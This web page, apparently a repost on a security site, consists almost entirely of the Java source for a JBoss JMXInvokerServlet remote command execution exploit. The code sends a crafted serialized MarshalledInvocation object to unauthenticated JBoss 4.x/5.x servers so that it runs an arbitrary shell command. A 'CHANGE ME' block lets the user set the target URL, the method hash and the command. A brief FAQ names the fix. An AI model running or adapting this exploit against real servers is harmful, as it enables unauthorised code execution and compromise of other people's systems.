JBoss JMXInvokerServlet Remote Command Execution

  • A+
所属分类:moonsec_com
/*  * JBoss JMXInvokerServlet Remote Command Execution  * JMXInvoker.java v0.3 - Luca Carettoni @_ikki  *  * This code exploits a common misconfiguration in JBoss Application Server (4.x, 5.x, ...).  * Whenever the JMX Invoker is exposed with the default configuration, a malicious "MarshalledInvocation"  * serialized Java object allows to execute arbitrary code. This exploit works even if the "Web-Console"  * and the "JMX Console" are protected or disabled.  *  * [FAQ]  *  * Q: Is my target vulnerable?  * A: If http://<target>:8080/invoker/JMXInvokerServlet exists, it's likely exploitable  *  * Q: How to fix it?  * A: Enable authentication in "jmx-invoker-service.xml"  *  * Q: Is this exploit version-dependent?  * A: Unfortunately, yes. An hash value is used to properly invoke a method.   *    At least comparing version 4.x and 5.x, these hashes are different.  *  * Q: How to compile and launch it?  * A: javac -cp ./libs/jboss.jar:./libs/jbossall-client.jar JMXInvoker.java  *    java  -cp .:./libs/jboss.jar:./libs/jbossall-client.jar JMXInvoker  *    Yes, it's a Java exploit. I can already see some of you complaining....  */  import java.io.BufferedReader; import java.io.IOException; import java.io.InputStream; import java.io.InputStreamReader; import java.io.ObjectOutputStream; import java.lang.reflect.Array; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.net.ConnectException; import java.net.HttpURLConnection; import java.net.URL; import javax.management.MalformedObjectNameException; import javax.management.ObjectName; import org.jboss.invocation.MarshalledInvocation; //within jboss.jar (look into the original JBoss installation dir)  public class JMXInvokerServlet {      //---------> CHANGE ME <---------     static final int hash = 647347722; //Weaponized against JBoss 4.0.3SP1     static final String url = "http://127.0.0.1:8080/invoker/JMXInvokerServlet";     static final String cmd = "touch /tmp/exectest";     //-------------------------------      public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, MalformedObjectNameException {          System.out.println("/n--[ JBoss JMXInvokerServlet Remote Command Execution ]");          //Create a malicious Java serialized object         MarshalledInvocation payload = new MarshalledInvocation();         payload.setObjectName(new Integer(hash));          //Executes the MBean invoke operation         Class<?> c = Class.forName("javax.management.MBeanServerConnection");         Method method = c.getDeclaredMethod("invoke", javax.management.ObjectName.class, java.lang.String.class, java.lang.Object[].class, java.lang.String[].class);         payload.setMethod(method);          //Define MBean's name, operation and pars         Object myObj[] = new Object[4];         //MBean object name         myObj[0] = new ObjectName("jboss.deployer:service=BSHDeployer");         //Operation name         myObj[1] = new String("createScriptDeployment");         //Actual parameters         myObj[2] = new String[]{"Runtime.getRuntime().exec(/"" + cmd + "/");", "Script Name"};         //Operation signature         myObj[3] = new String[]{"java.lang.String", "java.lang.String"};          payload.setArguments(myObj);         System.out.println("/n--[*] MarshalledInvocation object created");         //For debugging - visualize the raw object         //System.out.println(dump(payload));          //Serialize the object         try {             //Send the payload             URL server = new URL(url);             HttpURLConnection conn = (HttpURLConnection) server.openConnection();             conn.setRequestMethod("POST");             conn.setDoOutput(true);             conn.setDoInput(true);             conn.setUseCaches(false);             conn.setRequestProperty("Accept", "text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2");             conn.setRequestProperty("Connection", "keep-alive");             conn.setRequestProperty("User-Agent", "Java/1.6.0_06");             conn.setRequestProperty("Content-Type", "application/octet-stream");             conn.setRequestProperty("Accept-Encoding", "x-gzip,x-deflate,gzip,deflate");             conn.setRequestProperty("ContentType", "application/x-java-serialized-object; class=org.jboss.invocation.MarshalledInvocation");              ObjectOutputStream wr = new ObjectOutputStream(conn.getOutputStream());             wr.writeObject(payload);             System.out.println("/n--[*] MarshalledInvocation object serialized");             System.out.println("/n--[*] Sending payload...");             wr.flush();             wr.close();              //Get the response             InputStream is = conn.getInputStream();             BufferedReader rd = new BufferedReader(new InputStreamReader(is));             String line;             StringBuffer response = new StringBuffer();             while ((line = rd.readLine()) != null) {                 response.append(line);             }             rd.close();              if (response.indexOf("Script Name") != -1) {                 System.out.println("/n--[*] /"" + cmd + "/" successfully executed");             } else {                 System.out.println("/n--[!] An invocation error occured...");             }         } catch (ConnectException cex) {             System.out.println("/n--[!] A connection error occured...");         } catch (IOException ex) {             ex.printStackTrace();         }     }      /*      * Raw dump of generic Java Objects      */     static String dump(Object o) {         StringBuffer buffer = new StringBuffer();         Class oClass = o.getClass();          if (oClass.isArray()) {             buffer.append("[");              for (int i = 0; i < Array.getLength(o); i++) {                 if (i > 0) {                     buffer.append(",/n");                 }                 Object value = Array.get(o, i);                 buffer.append(value.getClass().isArray() ? dump(value) : value);             }             buffer.append("]");         } else {             buffer.append("{");             while (oClass != null) {                 Field[] fields = oClass.getDeclaredFields();                 for (int i = 0; i                         < fields.length; i++) {                     if (buffer.length() > 1) {                         buffer.append(",/n");                     }                     fields[i].setAccessible(true);                     buffer.append(fields[i].getName());                     buffer.append("=");                     try {                         Object value = fields[i].get(o);                         if (value != null) {                             buffer.append(value.getClass().isArray() ? dump(value) : value);                         }                     } catch (IllegalAccessException e) {                     }                 }                 oClass = oClass.getSuperclass();             }             buffer.append("}");         }         return buffer.toString();     } } 

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: